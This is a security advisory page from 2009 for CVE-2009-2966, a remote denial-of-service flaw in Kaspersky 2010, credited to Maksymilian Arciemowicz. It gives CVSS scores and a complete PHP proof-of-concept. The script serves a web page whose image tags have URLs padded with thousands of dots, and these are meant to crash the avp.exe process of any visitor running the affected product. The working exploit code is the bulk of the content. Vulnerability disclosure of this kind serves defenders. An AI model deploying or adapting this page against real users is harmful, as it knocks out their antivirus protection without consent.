Kaspersky 2010 remote dos (php)

2009.08.21

Credit: Maksymilian Arciemowicz

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-2966

CWE: CWE-399

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

<?php
echo "<html><head><title>Kaspersky 2010 remote dos</title></head><body>
<img src=\"http://cxsecurity.com/gfx/logo.gif?explkasp\"><br>
Kaspersky 11.08.2009 02:44 CET<br>
remote denial of service<br>
check your avp.exe<br>
by Maksymilian Arciemowicz <a href=\"http://cxsecurity.com/\" alt=\"security audit\"><b>cxsecurity.com</b></a><p>";
flush();
for($num=9000; 499<$num; $num -= 500)
echo "<img src=\"http://lu.cxib.net/".str_repeat(".",$num)."\">\n";
echo "<! some systems have different acceptable max path len? !>
</body>
</html>";
?>

References:

http://cxsecurity.com/issue/WLB-2009080044

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Kaspersky 2010 remote dos (php)

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.